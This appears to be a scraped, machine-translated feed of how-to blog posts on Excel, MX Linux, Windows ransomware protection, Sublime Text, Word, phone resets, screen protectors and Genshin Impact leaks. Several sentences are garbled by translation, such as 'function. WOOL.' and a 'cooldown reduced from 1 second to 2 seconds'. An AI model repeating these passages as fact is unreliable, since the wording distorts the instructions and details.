According to legendary psychologist Mihaly Csikszentmihalyi who once said in the first book \" Flow: The Psychology of Optimal Experience \" that:\n\" Control of consciousness determines the quality of life .\"\nAttention helps you feel happier because thanks to it you appreciate the smallest things that have been forgotten in everyday life.\nAttention helps you to overcome limitations like fear of death, because it helps you make the most of the time you have.\nAttention leads you to a more fulfilling life by promoting your ability to focus on things that are really important to yourself, not those that will make you lose yourself.\nHappiness, work efficiency, presence and level of perfection stem from your control over what you want to devote to your spiritual power.\nEven if life around us is \" struggling \" to take away the spiritual power, with alertness, practice and the right habits, we can resist and grasp the mind control of the village itself. body.\nIf you know how to protect, nurture your own ability to concentrate, nothing will stop you from living the life you desire because attention is the source of everything .\nAuthor: Zat Rana\nSee also: 8 simple ways to practice concentration\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51ku7DAjKamp52pYq%2B2wIytn55lnaTAtXnVmqOumZKhsm6t0qycrWWZo3qmwsSrsKimlah6rbXFng%3D%3D\n","link":"/post/not-money-but-the-most-valuable-asset-in-everyone-s-life/","section":"post","tags":null,"title":"Not money, but the most valuable asset in everyone's life?"},{"body":"Although leaking information in the beta versions of Genshin Impact has always been banned and strongly opposed by miHoYo or even prescribed extremely heavy penalties if discovered. But the leakers are still active very often and the leaks are constantly being published with information obtained from insiders at miHoYo or found in the game's files.\n  In the case of Yae Miko, players would not be able to know anything about her without the leakers working within miHoYo. Meanwhile, in the case of names like Yelan, Heizou, Kuki Shinobu and Ayato, the information of these characters is found in the game file.\n  Specifically, here are the descriptions of the appearance of these characters so that players can look forward to when they are released in the near future. In particular, Yelan will have a somewhat similar appearance to Ningguang or Shenhe and Kuki Shinobu will be similar to Ayaka or Keqing. In addition, Heizou will be a detective boy with the appearance of Bennett or Venti and Ayaka's brother Kamisato Ayato will have the appearance of the male gods Zhongli, Itto or Diluc.\n  Besides, Ayato's skill set is also revealed in this leak. Accordingly, Ayato will be a Water-type character exactly as the gamers have predicted based on the information obtained when learning about the Kamisato mansion.\nUnleash up to 5 slashes.\n- Creates a paper doll that lasts for 12 seconds with 1 stack of Kendo.\n- When long held will have the same effect as usual, but Ayato will stab and deal a large amount of Water damage as well as 1 stack of Kendo. The cooldown is 20 seconds and up to 2 stacks of Swordsmanship can be accumulated using this skill.\n- Paper Doll: Deals Water damage to enemies in the surrounding area while taunting them. Destroyed or expired, the paper doll will explode on its own, dealing Water damage.\n- Kendo: When Kendo is stacked, Ayato's attacks deal additional Water damage for a short period of time. Each stack increases Ayato's attack stats.\n  Damage from basic attacks, heavy hits, and landing attacks will be converted to Water damage. When active, attack speed and range are also increased.\nWhen using fury skill, the cooldown of elemental skill will be refunded.\nEach stack of Swordsmanship reduces the cooldown of the other characters' elemental skills by 1 second, up to 3 seconds.\nIf there is a paper doll on the field while Ayato uses Rage, a whirlpool will appear and suck nearby enemies inside.\nFixed endowment 2 cooldown reduced from 1 second to 2 seconds.\nThese information are just leaks and have not been officially confirmed, so gamers can only refer and get an initial look at characters like Yelan, Heizou, Kuki Shinobu and Ayato. Let's wait until version 2.5 is released, then it is possible that information related to version 2.6 will be revealed.\nGenshin Impact ncG1vNJzZmismaXArq3KnmWcp51ktKa60qGgp2WZor2ir9NmqZ6ulZa5prCMrZ%2BeZZGlvaat0ZqlnJ1dpLNuxcSlmKdlmJq2u7vUZqKuo5liwKm1zaiZrmWRo7Furdiaq6irXaiytXnOn2Smp6aawA%3D%3D\n","link":"/post/revealed-the-appearance-of-yelan-heizou-kuki-shinobu-and-ayato-s-set-of-moves/","section":"post","tags":null,"title":"Revealed the appearance of Yelan, Heizou, Kuki Shinobu and Ayato's set of moves"},{"body":"In order to search for information, data on Excel tables can use many other functions such as VLOOKUP function in Excel, Excel LEFT function, etc. And in this article, users will know how to use RIGHT function to find characters in a selected string.\nIf the LEFT function separates the left string, RIGHT is the opposite, separating the string from the right in a sequence of characters that the user selects. Then RIGHT returns the result of one or more last characters in a text string based on the number of characters displayed in the data field. The following article will guide you how to use RIGHT function in Excel.\nHow to combine Sumif and Vlookup functions in Excel Use VLOOKUP to join two Excel tables together How to use MID functions to get strings in Excel Instructions on how to fix reverse dates in Excel Instructions for using RIGHT function in Excel The RIGHT function has a syntax of = RIGHT (text, [num_chars]) . Inside:\ntext: is the text string you want to extract characters. num_chars: the number of characters you want RIGHT to extract. Note:\nIf num_chars omits, its default is 1. Num_chars must always be greater than or equal to 0. If num_chars is larger than the length of the text string, RIGHT returns the entire text string. Example 1: Use the RIGHT function to find the character For example, with the data table below, proceed to extract the last 3 characters in each data cell. In the result box enter the formula = RIGHT (B2,3) and press Enter.\n  The result is the last 3 characters in the character sequence as shown below. Scroll down the remaining boxes to show other results.\n  In addition, we can also enter a sequence of characters as shown below, but use quotation marks.\n  Example 2: The RIGHT function looks for the numeric character These two functions combined together will return a numeric value. Because the RIGHT function in Excel always returns text strings, even if the original value is a number. If adding VALUE function, the result is number. You refer to the example combining two functions in the article How to use Excel's VALUE function.\nExample 3: The RIGHT function exports the character after a specific character When you want to separate the string of characters following a specific character, use the SEARCH function in Excel or the FIND function to determine the character position, but subtract the selected character position in the total string of characters returned by the function. WOOL. The combined formula is = RIGHT (text string, LEN (text string) - SEARCH (character, text string)) .\nWith this example, you need to find the name in the Name box, enter the formula = RIGHT (B2, LEN (B2) -SEARCH (\"\", B2)) and press Enter.\n  The result is our name as shown below. Scroll down to display the remaining results.\n  By combining these three functions, we can apply it to output the string of characters after any other character, such as commas, two dots, hyphens, .\n  Example 4: The RIGHT function of the first n characters in the string Formula using RIGHT (string, LEN (string) -number of chars to remove) .\nIn this data table will remove the first 6 characters including the dot from the string. Enter the formula = RIGHT (B2, LEN (B2) -6) and press Enter. The result we get is as shown below.\n  Example 5: The RIGHT function outputs the character after the last delimiter With complex strings of multiple delimiters, the content extraction must be separated from the final delimiter. With the data table below, there is a cell that uses only 1 delimiter, but has cells that use 2 delimiters and requires the character after the final delimiter.\nApply the formula to this data table we enter = RIGHT (B6, LEN (B6) -SEARCH (\"$\", SUBSTITUTE (B6, \":\", \"$\", LEN (B6) -LEN (SUBSTITUTE (B6 , \":\", \"\"))))) and press Enter. Inside:\nLEN (B6): the total length of the string in cell B6. LEN (SUBSTITUTE (B6, \":\", \"\")): length of character string without a colon. LEN (B6) -LEN (SUBSTITUTE (B6, \":\", \"\")): The total initial length minus the string length without a colon. SUBSTITUTE (B6, \":\", \"$\", LEN (B6) -LEN (SUBSTITUTE (B6, \":\", \"\"))): replace the last separating colon with the new character $, SUBSTITUTE function allows to replace the specified character in the string. SEARCH (\"$\", SUBSTITUTE (B6, \":\", \"$\", LEN (B6) -LEN (SUBSTITUTE (B6, \":\", \"\")))): determine the location of the final separator , in the colon image, is replaced with the $ sign. RIGHT (B6, LEN (B6) -SEARCH (\"$\", SUBSTITUTE (B6, \":\", \"$\", LEN (B6) -LEN (SUBSTITUTE (B6, \":\", \"\"))))): Returns the string to the right of the last separator, taking the total string length minus the position of the delimiter.   The result is a sequence of characters as shown below.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kv6qzx61kn62emMGqu81mn6ivXam8bsHSnmStoJViv6qzx62arqxdqMGztc2gZJ%2BtnpjBqrvNZqCnZZWtsKa4\n","link":"/post/right-function-how-to-use-the-right-cut-string-function-in-excel/","section":"post","tags":null,"title":"RIGHT function, how to use the right-cut string function in Excel"},{"body":"If you're looking for an alternative to Windows but don't like Linux, MX Linux may be the solution you're waiting for.\nLinux distributions keep the promise of supporting Windows users when making conversions. Windows 10 has a number of problems, so a really powerful and fully functional alternative like Linux can easily \"entice\" longtime Windows users to make the switch.\nTake a closer look at MX Linux from the perspective of longtime Windows users.\nLearn about MX Linux MX Linux settings Experience the boot MX Linux Experience Windows on MX Linux Set up the desktop Taskbar settings  Use the new Linux operating system Read more about MX Linux Enjoy the 'new' PC with MX Linux MX Linux settings MX Linux has 32-bit and 64-bit options, so even if you're looking at installing it on an old machine, you won't have any problems.\nThis test installation is done on Dell Optiplex GX620 2005.\nIf you are not familiar with the process of installing a Linux distribution, just download the Linux MX and follow the instructions to create a drive or USB ISO capable of booting. The total time from setting up the USB ISO to completing the entire installation process takes less than 15 minutes.\nThe installation options selected for testing in this article include:\nChoose to install the entire single partition on a 32-bit machine. Install the GRUB bootloader (GRUB boot loader) for MX Linux and Windows on Master Boot Record (MBR). Select the Samba server installation option for MS network. Turn on Autologin and Save live desktop changes . Experience the boot MX Linux The boot process after initial setup is very fast. On the test computer in this article, it took less than 30 seconds, only about a quarter of the time needed for previous Windows 7 installation, to run on the same computer.\nPlease exploit the Welcome window that appears when you first launch Linux MX. It includes a user guide that shows you how to run Windows applications inside a wrapper or any compatible class like Wine.\n  If you click on Tools on the Welcome menu , you will see a window that looks similar to Control Panel in Windows.\n  The first thing to do is to install Wine to run any Windows application you need. This also confirms that the Internet connection is working.\nExperience Windows on MX Linux When the operating system boots for the first time, everything may not be completely accurate. Don't worry, with just a few adjustments, everything will look very familiar.\nSet up the desktop Just like in Windows, you can change desktop background settings by right-clicking on the desktop.\n  If you are familiar with Windows, many steps will look familiar. Of course, many steps will also look a bit strange. (Additional features are features you don't normally have in Windows).\nNow, click Desktop Settings.\n  \nJust like in Windows, you can adjust the look of the desktop and menu system using these settings. Pretty simple, right?\nTaskbar settings By default, the taskbar taskbar (here called Panel) is placed vertically on the left side of the screen.\nYou can quickly change this by right-clicking on the taskbar and selecting Panel \u0026gt; Panel Preferences.\n  \nHere, you can change the taskbar vertically or horizontally by changing the Mode selection .\nIf you want to change the location of the taskbar, uncheck the Lock panel.\n  \nAfter unlocking, you can move the taskbar to another location you want on the screen, for example, down below.\nSorting the taskbar items by default is also the opposite of Windows: Start Menu on the right and the time on the left. You can change this by right-clicking on each icon and selecting Move.\n  Then, just drag it to the location you want on the taskbar.\nUse the new Linux operating system Once you have everything set up and they look similar to the Windows desktop, it's time to start exploring this new operating system.\nWhen you click on the Start menu , you will see that it looks like an enhanced version of the Windows 7 Start menu.\n  Apps are easy to find, grouped into important categories like Favorites, Recently Used, Look out , in Settings or System options. You will need these to configure everything.\nWhen you click Settings and scroll down, you'll see options for network cards, Bluetooth connectivity, new hard drives, or any other hardware you want to set up or configure.\n  If the complexity of having to run all 'sudo' commands to do anything in Linux makes you hesitate to try this operating system, don't worry about it here.\nThe great thing about using MX Linux as a Windows user, is that you don't have to spend any time researching it.\nIf you've tried different Linux distributions for years, then you know that usually the control windows are a bit different. That is really annoying, when you get used to the way Microsoft set up control windows for years.\n  The designers of MX Linux tried to mimic familiar control windows from Windows. More amazingly, the original File Manager itself is configured to look almost exactly like what you normally see in Windows.\nIn the left navigation menu, you already have the root file system and below is Home (you can view your User folder in Windows), as well as Trash bin and Network browser .\nThe Home folder is also configured as in Windows, with Documents, Pictures, Videos and Music folders .\nA small difference when you get used is opening the folders with just one click, but the user is easy to get used to this step.\nRead more about MX Linux After you've adjusted this new (but familiar) environment, you're ready to start learning more about it.\nYou will be amazed at the power of Linux MX at your fingertips, without spending a cent or having to register any monthly service pack.\nIt's time to install the software suite you want to use on your new operating system. Click on the Start menu and search for the MX Package Installer.\n  \nScroll down to MX Package Installer and expand each folder to find the applications you are used to.\nYou will find many categories including a long list of applications that look very familiar to you.\n  You should install the applications you are used to using on Windows. This will help make your new operating system as familiar and full-featured as possible.\nAudacity: Edit audio Chrome or Firefox: Browse the web Filezilla: FTP client GIMP Full: Advanced image editing Kodi or Plex: Media server Skype: Video messaging KeepassX: Password manager Dropbox: Synchronize files for your Dropbox account Adobe Reader: Read PDF files HP Printing: Print management to HP printers Shutter: Take a screenshot By default, MX Linux comes with LibreOffice preinstalled, so you don't have to worry about installing any Office applications. You also get FeatherPad as a great alternative to Notepad.\nEnjoy the 'new' PC with MX Linux Nothing is better than \"creating a new wind\" for your old desktop or laptop computer.\nLinux always has the potential to do this and Linux MX goes one step further: Bringing a completely new operating system to the Windows environment at zero cost.\n  In fact, if you are considering buying a new computer, you can save a small amount of money, by buying a computer without installing any operating system. Simply install MX Linux to get a super fast computer without spending time learning anything, even if you are using a completely new operating system.\nGood luck!\nSee more:\n5 ways to make Linux desktops look great How to use Conky to make Linux more awesome 8 easy tools to create your own Linux Distro ncG1vNJzZmismaXArq3KnmWcp51kxKnFjKKqZqWoYrmqutSxZJpllJrAqr7Am6OeZaeeu6W71qxkmqSkmr%2BvrdOirZ4%3D\n","link":"/post/why-is-mx-linux-a-desirable-windows-alternative/","section":"post","tags":null,"title":"Why is MX Linux a desirable Windows alternative?"},{"body":"Since updating Windows 10 Fall Creators Update, the protection feature of the Controlled Folder Access folder that Microsoft introduced since June has officially reached millions of users.\nAs its name suggests, this feature allows users to control access to certain directories. With the philosophy of 'blocking everything', it can theoretically block ransomware when trying to access and encrypt files inside.\nTheory - What is Ransomware? Anti Ransomware with Controlled Folder Access Windows 10 Step 1:\nClick the Start button and type Windows Defender Security Center and click. The following window will appear.\n  Windows Defender Security Center window\nIf you mistakenly choose Windows Defender Settings, select again the Open Windows Security Center to open the dialog box to find.\n  Choose again to open the Security Center\nStep 2:\nAt the opened window, select Virus \u0026amp; Threat Protection \u0026gt; Virus \u0026amp; Threat Protection Settings.\n  Set up virus protection and threats\nStep 3:\nGo to the Controlled Folder Access section in this section and drag the On / Off slider to turn it on.\n  Drag the slider to turn it on\nStep 4:\nIn the Protected Folders section , select the additional folders you want to protect. There are already several directories here.\n  Add folder to protect\nStep 5:\nIn the Allow an app through Controlled folder access section , you choose to whitelist applications that are allowed to access, edit, create or delete files in protected folders.\n  Put the application to whitelist to give access\nSee also: 6 remarkable security features on Windows 10 Fall Creators Update\nAnother way to enable Controlled Folder Access In addition to the above, there are 2 other ways to enable Controlled Folder Access. The easiest way is to run the PowerShell command.\nSet-MpPreference -EnableControlledFolderAccess Enabled\nTo turn it off, just run the same command but replace it with 'Disabled'.\nIn addition, system administrators in large organizations can also use Group Policy Management Console to enable this feature for users across the network.\nStep 1: On the Group Policy management machine , open the Group Policy Management Console, right-click on the Group Policy Object you want to select and click Edit. Step 2: At Group Policy Management Editor, select Computer Configuration. Step 3: Click Policies \u0026gt; Administrative Templates. Step 4: Expand Windows Components \u0026gt; Windows Defender Antivirus \u0026gt; Windows Defender Exploit Guard \u0026gt; Controlled Folder Access.   Management for the entire system through the Group Policy Management Console\nStep 5: Double-click the Configure Controlled acces folder and select Enabled. You can use Group Policy to select the accessed applications and protected folders for each computer in the domain.\n   Select the directory and application for the computer in the system\nWhen any unauthenticated software tries to edit the file in these folders, the user will receive a warning in the Windows Notification bar . Windows Defender also recorded in event history.\n  Warning when software tries to access the protected folder\nNote that for Controlled Folder Access to work, you must turn on real-time protection in Windows Defender.\nTest using Controlled Folder Access to block ransomware In testing with variants of Asasin malware Locky, x1881 CryptoMix, Comrade HiddenTear and Wyvern BTCWare, Controlled Folder Access did its job well, blocking these ransomware from encrypting files in the protected folder. Other folders are still encrypted as usual.\n  Unprotected folders are still encrypted by ransomware\nAnother side effect is that when executable files of whitelisted folders edit files in a protected folder, Controlled Folder Access blocks this and does not display a message indicating.\nncG1vNJzZmismaXArq3KnmWcp51ksq%2BtwaWcZqqRo8CwudaaqZ5lk6S7tb7OpaOenF2bvK2wxKtkmpuTmsC0ec6nZLChnpm8uL%2BMamc%3D\n","link":"/post/enable-ransomware-controlled-folder-access-on-windows-10/","section":"post","tags":null,"title":"Enable ransomware Controlled Folder Access on Windows 10"},{"body":"After downloading and installing a software or application on the computer. When you open the software, the error system cannot open the application, because the software lacks a WMVCore.DLL file . There are many ways to fix this so you don't need to worry too much.\nErrors missing WMVCore.DLL files often occur on Windows Vista Business N, Windows 7 N or Windows 8 N, Windows 8.1 N because media component is not installed on Vista versions .\n  \nTo fix the missing WMVCore.DLL file, you can download the component to your computer and install it. It will then activate Windows Vista / Windows 7 update \u0026nbsp; automatically on Microsoft to install Windows Media Player 11 .\n1. Fix errors on Windows 7 : Media Feature Pack for Windows 7 versions of Windows 7 N or Windows 7 KN will install Media Player and some other related software running on Windows 7 N and Windows 7 KN .\nDownload Media Feature Pack for Windows 7 versions like Windows 7 N and Windows 7 KN here. 2. Fix errors on Windows 8 : Media Feature Pack for Windows 8 versions of Windows 8 N or Windows 8 KN will install Media Player and some other related software running on Windows 8 N and Windows 8 KN .\nDownload Media Feature Pack for Windows 8 versions like Windows 8 N and Windows 8 KN here. 3. Fix errors on Windows 8.1 : Media Feature Pack for Windows 8.1 versions are Windows 8.1 N or Windows 8.1 KN will install Media Player and some other related software running on Windows 8.1 N and Windows 8.1 KN .\nDownload Media Feature Pack for versions of Windows 8.1 like Windows 8.1 N or Windows 8.1 KN here. 4. Fix errors on Windows 10 : Media Feature Pack for Windows 10 versions of Windows 10 N or Windows 10 KN will install Media Player and some other related software running on Windows 10 N and Windows 10 KN .\nDownload Media Feature Pack for Windows 10 versions like Windows 10 N or Windows 10 KN here. Explore more:  4 Ways to Reset Windows to its original state   5 steps to fix 100% Full Disk error on Windows   4 ways to make Windows 10 boot faster  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2fnmWVp7%2BwvoymoKyrmaO0bsPMr5qoqpWZua15xaKjng%3D%3D\n","link":"/post/fix-the-error-missing-wmvcore-dll-file/","section":"post","tags":null,"title":"Fix the error missing WMVCore.DLL file"},{"body":"Google fully supports users of online office editing tools and can link together, to illustrate the content in more detail instead of having to start from the beginning. We can insert a Sheets sheet into Docs, or insert a Sheets chart into Docs, or insert Google Drawing into Docs with accurate and detailed drawings.\nIn addition, if you want to import the notes created on Google Keep into Docs, it is also very easy to do, right in the Docs interface, there is already Google Keep icon available. Then notes are displayed right in the document content for others to know, but we do not need to rewrite The following article will guide you how to insert notes into Google Docs.\nHow to insert characters on Google Docs How to insert Text Box in Google Docs How to insert hyperlinks in Google Docs documents How to add page numbers on Google Docs Instructions to insert notes into Google Docs Video on how to insert Google Keep notes into Docs Step 1:\nFirstly, you log into your personal Google Docs account and at the interface, we click on the Gooogle Keep icon on the right side of the screen.\n  Step 2:\nDisplay a vertical frame right next to all the notes that we have created on Google Keep with the account along with Google Docs.\n  To insert a note in a Word document, first click at that location and then hover on the note, select the 3-dot icon and click Add to document .\n  Step 3:\nAs a result, we see the content of the notes displayed in the document at the position where we placed the mouse pointer.\n  Step 4:\nTo add new notes at the Google Docs interface, click the New List icon to the right of the frame.\n  Display the interface for us to enter the text of the note. Once entered, press the Done button below to save. Then we also proceed to add the Docs document content as above.\n  In addition to selecting from the note menu, you can also drag a note to a position in the document to insert the content.\n  If the note has images, it can still be inserted into the document's content and users can edit the size of the image as usual.\n  The link between Google drafting services brings a lot of convenience for users. You do not need to redo the content, only need to transfer data to be.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqou86go55lm5qysXnNqKueq12pvG6zzqiepZ1dmbykvw%3D%3D\n","link":"/post/how-to-add-google-keep-notes-to-google-docs/","section":"post","tags":null,"title":"How to add Google Keep notes to Google Docs"},{"body":" Javascript consoles are very handy for debugging and getting live results from your script. Although Sublime Text comes with build systems for many other scripting languages, it does not come with a built-in Javascript build system. Many...\nMethod 1of 2:\nUsing JSC (Mac OS X) Setting Up Launch Sublime Text. JSC is a command-line Javascript runner, cooked directly into Mac OS X. Because most Macs already contains everything you need to run the script, creating the build system in Sublime Text is incredibly easy. If you have a Windows computer, see the directions for Node.js below.   Go to Tools \u0026gt; Build System \u0026gt; New Build System in the top bar.\n  Paste this code into the resulting new tab that Sublime Text opened. Replace anything else in it: { \"cmd\": [\"/System/Library/Frameworks/JavaScriptCore.framework/Versions/A/Resources/jsc\", \"$file\"], \"selector\": \"source.js\" }    Save the file as JSC.sublime-build in the default \"user\" folder. Now you have created your build system!\n Using the Console Open the Javascript file that you want to run in Sublime Text.\n Use debug() instead of console.log() in your script.\n  Go to Tools \u0026gt; Build System in the top bar and select JSC. This is the build system that you just created.\n  Build the Javascript file. Use either the shortcut (Ctrl+B for Windows, and ⌘ Cmd+B for Mac), or choose Build from the Tools menu. A console will now appear in a pane at the bottom of the window, showing the results of your script!\n Method 2of 2:\nUsing Node.js Setting Up Download the Node installer from the project's homepage and run it. Simply use the default settings. Node.js (Node) is a platform built to allow Javascript to run on a server. However, it can also be installed on your local computer, providing a relatively simple way to run Javascript and get the results without using a browser.   Go to Tools \u0026gt; Build System \u0026gt; New Build System in the top bar.\n  Paste this code into the resulting new tab that Sublime Text opened. Replace anything else in it: { \"cmd\": [\"node\", \"$file\"], \"selector\": \"source.js\" }  If you receive a \"[Errno 2]\" error, then you'll need to change node in the code above to the path where node is located. To do this, open terminal and run which node. This will print out the path to the node binary.   Save the file as node.sublime-build in the default \"user\" folder. Now you have created your build system! \n Using the Console Open the Javascript file that you want to run in Sublime Text.\n  Go to Tools \u0026gt; Build System in the top bar and select node. This is the build system that you just created.\n  Build the Javascript file. Use either the build shortcut (Ctrl+B for Windows, and ⌘ Cmd+B for Mac), or choose Build from the Tools menu. A console will now appear in a pane at the bottom of the window, showing the results of your script!\n  David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKOZppbApL7Iqatmm5%2BjwLC4xGagp2Wjqq%2BttcyeZK2dqKk%3D\n","link":"/post/how-to-create-a-javascript-console-in-sublime-text/","section":"post","tags":null,"title":"How to Create a Javascript Console in Sublime Text"},{"body":" To be honest, cutting tempered glass is exceptionally difficult and you're very likely to break your screen protector if you attempt to do this. Tempered glass is made by heating regular glass to high temperatures and cooling it while...\nMethod 1of 3:\nSizing the Protector for Your New Phone Place your phone upside down on the new protector. Take your screen protector and place it flat on your table or desk. Set the phone down upside down on the screen protector. Line the edges of the protector up so that they're parallel with the edges of your phone to make cutting easier. If you're cutting the screen protector to put it on something other than a phone, simply measure the dimensions and draw them on the screen protector. Warning: Just as a reminder, the odds are high that your screen protector will shatter when you try to cut it. You can attempt to use either of these methods, but you're better off just buying a new screen protector if possible.\n Outline the phone carefully using a thin permanent marker. Grab a fine-tipped permanent marker. Without touching the edges of your phone, carefully outline the phone using the edges as a straight edge. Keep the plastic part of the marker against the phone to avoid getting ink on it. Cover the entire outline of your phone to transfer the size you need to cut on to the screen protector.[1] Add a small notch at the bottom by hand if you have a home button. This notch will be a lot harder to cut out, though.  Put on some thick gloves, a dust mask, and protective eyewear. Regardless of how you are cutting the tempered glass, it's important to take the proper safety precautions to avoid cutting yourself. Grab the thickest pair of gloves you have, throw on a long sleeve shirt, and get some protective goggles to keep your eyes safe.[2] If you're cutting the glass underwater, you probably don't need to protect your lungs. If you're going to file it down though, you definitely need a dust mask or respirator to avoid inhaling the dust from the glass.  Method 2of 3:\nTrimming the Protector Underwater Fill a small bucket or bin with warm water. Grab a container that is large enough for you to submerge both of your hands, your screen protector, and a pair of scissors. A 12 by 12\u0026nbsp;in (30 by 30\u0026nbsp;cm) box should be big enough if you have something like that. Fill the bucket up ¾ of the way using warm water from your tap.[3]\nWarning: This process may not work if you have a thicker screen protector. This process is best for thinner versions that have a little bend in them. This style of screen protector isn't usually 100% tempered glass, which makes it easier to cut.\n Grab some sharp scissors and submerge the screen underwater. A pair of craft or kitchen scissors probably won't work for this. Grab a set of strong scissors with sharp blades. Hold the scissors in your dominant hand and submerge them underwater with your screen protector in the other hand. Hold them 2–3 inches (5.1–7.6\u0026nbsp;cm) below the surface.[4] Don't take your gloves off to do this. It may feel weird wearing gloves in water, but it's a key part of staying safe!  Trim the first side of your outline carefully and slowly. Start on any side of the screen protector. Hold it steady and keep your nondominant fingers at least 2 inches (5.1\u0026nbsp;cm) away from the cutting line. Carefully cut along the line that you drew on the permanent marker. Go really slow to ensure that you don't put too much pressure on the screen all at once.[5] It is thought that the water makes it easier to cut the glass by providing a cushion for the glass as you're cutting it, which it reduces its overall strength and makes it easier to cut. Some people even compare the feeling of cutting glass underwater to cutting cardboard![6]  Continue rotating the screen underwater and cut the additional sides. Once you've trimmed the first side down, turn the screen protector to the next edge and cut the next side out. Repeat this process for the remaining sides of the screen protector. Cut slowly and work carefully to ensure that you don't shatter the screen.[7] If you have a notch for your home button, use the portion of the blades that are closest to the handle, not the tips.  Use a diamond file or dremel to dull the edges underwater. Pick up a diamond file or dremel tool with a buffing tip. Use the flat side of the file to scrape each side of the screen protector using gentle back-and-forth strokes. Do this 10-15 times for each side to smooth the cuts out and remove any loose shards. If you're using a dremel tool, hold the buffing tip underwater without submerging the tool itself. Turn the tool on and run the tip around the edges of the screen to buff it out.[8] A diamond file is basically a long piece of metal with a textured edge use for sanding hard materials. Diamond files have different grits, just like sandpaper. Use the finest grit you possibly can to do this. A dremel tool is a small, pen-like power tool with a tip that spins. It's used to trim materials down without cutting. If you use a dremel tool, only submerge the rotating tip in the water to avoid shorting the tool or electrocuting yourself.  Method 3of 3:\nFilling Tempered Glass Brace the screen protector near the edge of a table. Lay a sheet of cardboard down near the edge of a table. Put your screen protector on top of the cardboard and hold one of the edges you're filing 1–2 inches (2.5–5.1\u0026nbsp;cm) off of the table. Place another sheet of cardboard on top of the screen protector to keep shards of glass from flying everywhere if the screen breaks.[9]\nWarning: This is not a good idea if you need to remove more than 1⁄4–1⁄8 inch (0.64–0.32\u0026nbsp;cm). This process will work if you're trying to remove a small amount of glass to make a screen fit better, but it will eventually shatter if you remove too much glass.\n Run the diamond file gently against the edge, parallel to your outline. Get a diamond file in the finest grit you have access to. Brace the top of the screen gently with your nondominant hand. Then, hold the file flat against the side you're sanding down. Slowly and carefully move the file back and forth. It may take 2-3 minutes to remove enough glass to reach the line you drew on the screen protector.[10] You have to be very delicate while you're doing this. If you apply too much pressure, the screen protector may shatter. You could theoretically use a dremel instead of a diamond file for this, but it will take a lot longer since you can only work in 1⁄2 inch (1.3\u0026nbsp;cm) sections with the small dremel bit. Your line likely won't be as clean either.  Continue filing the screen protector down until it matches your outline. Once you've filed down your first side, lift the cardboard up and rotate your screen protector so that a new side rests 1–2 inches (2.5–5.1\u0026nbsp;cm) over the edge. File this side down the same way you did the first side. Repeat this process for each of the additional sides until you've removed all of the excess glass.[11] You don't need to sand the edges down since the diamond file is basically doing this for you as you remove the glass.   Lesley Montoya Update 28 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqXqiedOepKmdopqxbrPLmqqsZaOYv6axzWanq6ekmrC1u9E%3D\n","link":"/post/how-to-cut-a-tempered-glass-screen-protector/","section":"post","tags":null,"title":"How to Cut a Tempered Glass Screen Protector"},{"body":"Reference materials, textbooks, . are often inserted with Header and Footer in Word. This operation is considered to be the basic content when editing content on Word. We can create different Header and Footer on Word, insert lines for Header and Footer. So what if I don't want to use Header and Footer for Word documents? The following article will show you how to delete Header and Footer in Word.\nInstructions for inserting notes in the footer in Word How to delete Footnote notes on the footer of the Word page How to create Header in Microsoft Excel Method 1: Manually delete Header \u0026amp; Footer on Word Step 1:\nIn the document you want to delete Header and Footer, click the Insert item on the ribbon bar. Then go to Header \u0026amp; Footer and click on Header to remove the title.\n  Step 2:\nIn the displayed list click Remove Header to delete the inserted header title.\n  Step 3:\nYou do the same with Footer to delete the content inserted at the bottom of the page. Click Remove Footer in the list.\n  Method 2: Quickly delete Header and Footer in Word Step 1:\nIn the Word interface, click the File button or the Office icon with the Word 2007 document.\n  Step 2:\nIn the new interface click the Info item and look at the content next to you click on Check for Issues .\n  Click on Inspect Document .\n  Step 3:\nThe display interface shows the Document Inspector panel. Here, select the Headers, Footers, and Watermarks content and click on Inspect below.\n  Step 4:\nAt this point the tool will check all Headers and Footers available in Word. You just need to click Remove All to delete all contents of Header and Footer with the content inserted.\n  When successful deletion will display the notification interface as shown below.\n  So you have 2 ways to delete Header and Footer in Word. The first way is simpler, but users need to access each Header and Footer to delete each content separately. With the second way we will quickly delete all the headers and insert the end of the page content, or insert watermark on Word.\nVideo how to delete Header and Footer in Word See more:\nInsert audio into Word documents How to repeat the title bar in the Word list table Enter the serial number and the automatic initial character MS Word I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyhnJqclad6orrDZp2op6Sav261zWauqKqU\n","link":"/post/how-to-delete-header-and-footer-in-word/","section":"post","tags":null,"title":"How to delete Header and Footer in Word"},{"body":"How to reset Samsung Galaxy A10 phone? Those are probably the questions of many users of this phone model. Because this is only a cheap phone, after a long time of use, the need to reset and restore the phone to the user's default is huge, but not everyone knows how to do it.\nSo please refer to a few methods to reset Samsung Galaxy A10 phone which I will guide in detail in the article below.\n* Note: before performing the methods below, you should conduct data backup on your phone to avoid possible risks during the reset process.\nI. How to reset Samsung Galaxy A10 phone using Recovery mode The steps are as follows:\nStep 1: First, turn off the phone, then press and hold the Power button + volume up key for a few seconds until the Samsung logo lights up, release it to access Recovery mode .\n  Step 2: In this mode, you select the words \"wipe data / factory reset\" using the volume up and down buttons to select and press the power button to confirm the operation.\n  Step 3: A confirmation message will appear, select \" Yes \" by pressing the power key.\n  Step 4: Now the blue options in Recovery mode will appear, use the volume key to move to the \"reboot system now\" line then press the power key to confirm.\n  Step 5 : Now the phone reset process will be conducted, you just need to wait for the process to complete.\nII. How to reset Samsung Galaxy A10 phone in Settings Besides the above method, you can also apply this second method right on the phone screen without having to turn off the power.\nThe steps are as follows:\nStep 1: From the main screen, access the Settings -\u0026gt; General management section.\n  Step 2: Then in turn you choose to go to Reset\u0026gt; Factory Data Reset.\n  Step 3: At this time the screen will display details of what data may be deleted, think carefully and select the Reset button .\n  Step 4: Finally, you just need to click the Delete All button to confirm and proceed to reset the phone.\n  Step 5: Now you just need to wait for the reset process to complete and boot up the phone is done!\nSo I showed you how to reset the Samsung Galaxy A10 phone the easiest way. Hopefully this article will help you. I wish you successful 